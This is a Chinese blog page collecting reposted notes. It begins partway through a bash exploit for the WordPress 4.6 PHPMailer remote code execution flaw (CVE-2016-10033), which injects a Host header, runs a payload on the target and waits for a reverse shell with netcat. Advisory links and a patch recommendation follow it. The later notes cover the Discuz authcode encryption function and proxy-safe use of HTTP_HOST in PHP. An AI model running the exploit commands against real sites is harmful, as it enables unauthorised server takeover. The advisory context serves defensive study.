'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword echo -e "\n\e[92m[+]\e[0m Payload sent successfully" # Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce cmd="/bin/bash /tmp/rce" prep_host_header "$cmd" curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword & echo -e "\n\e[92m[+]\033[0m Payload executed!" echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n" nc -vv -l 1337 echo else echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n" exit 0 fi echo "Exiting..." exit 0
PoC演示视频: http://v.youku.com/v_show/id_XMjc0MDU2NjQyMA==.html
修复建议:
更新到最新版本或者4.7.1以上版本
下载地址https://wordpress.org/latest.zip
参考:
https://w3techs.com/technologies/details/cm-wordpress/all/all
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html
https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
Discuz 加密解密函数 authcode PHP
<?php /** * $string 明文或密文 * $operation 加密ENCODE或解密DECODE * $key 密钥 * $expiry 密钥有效期 */ function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { // 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙 // 加入随机密钥,可以令密文无任何规律,即便是原文和密钥完全相同,加密结果也会每次不同,增大破解难度。 // 取值越大,密文变动规律越大,密文变化 = 16 的 $ckey_length 次方 // 当此值为 0 时,则不产生随机密钥 $ckey_length = 4; // 密匙 // $GLOBALS['discuz_auth_key'] 这里可以根据自己的需要修改 $key = md5($key ? $key : $GLOBALS['discuz_auth_key']); // 密匙a会参与加解密 $keya = md5(substr($key, 0, 16)); // 密匙b会用来做数据完整性验证 $keyb = md5(substr($key, 16, 16)); // 密匙c用于变化生成的密文 $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; // 参与运算的密匙 $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); // 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性 // 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确 $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); // 产生密匙簿 for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } // 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上并不会增加密文的强度 for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } // 核心加解密部分 for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; // 从密匙簿得出密匙进行异或,再转成字符 $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { // substr($result, 0, 10) == 0 验证数据有效性 // substr($result, 0, 10) - time() > 0 验证数据有效性 // substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16) 验证数据完整性 // 验证数据有效性,请看未加密明文的格式 if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { // 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因 // 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码 return $keyc.str_replace('=', '', base64_encode($result)); } } $a = "mrxn.net"; $b = authcode($a, "ENCODE", "abc123"); echo $b."<br/>"; echo authcode($b, "DECODE", "abc123"); ?>
运行效果如下:
4582HxrlipjHXFJ8fCB42AzZN6N0A/S07AFgev8swj1a6Qy/fxhuJFM
mrxn.net
注:因学习需要,转载挡笔记.文章来源于网络.
HP的$_SERVER['HTTP_HOST']获取服务器地址功能详解 PHP
uchome的index文件中的二级域名功能判断,使用了php的$_SERVER['HTTP_HOST'],开始对这个不是很了解,所以百度了一下,发现一篇帖子有点意思,转发过来做个记录。
在php中,我们一般通过$_SERVER['HTTP_HOST']来活得URL中网站的域名或者ip地址。
php手册中的解释如下:
“HTTP_HOST”
当前请求的 Host: 头信息的内容。
一般来说,这样子不会遇到什么问题,在一些常见的php框架中,如PFC3和FLEA也是基于该预定义变量。
然而最近在做的一个项目,程序移交到客户手里测试时,竟然发现程序的跳转总是会出错。
最后找出原因:$_SERVER['HTTP_HOST']在客户的环境里,取得的值总是程序所在的服务器在其局域网内的ip值。
究其原因,是因为,客户的公司通过一台服务器连接至因特网,而我们的程序所在的服务器,是通过域名映射出来的,也就是中间有个“代理”的过程。因此$_SERVER['HTTP_HOST']在这样的环境里,取得的值总是程序所在的服务器在其局域网内的ip值。
最后查了不少资料,在symfony框架里面,找到替代的实现方法:
将
$host = $_SERVER['HTTP_HOST'];
替换成:
$host = isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');
即可。
注:我刚好遇到这个问题,所以搜索找到了这篇文章,故转载以当作笔记.
原文地址:https://www.oschina.net/question/36370_14769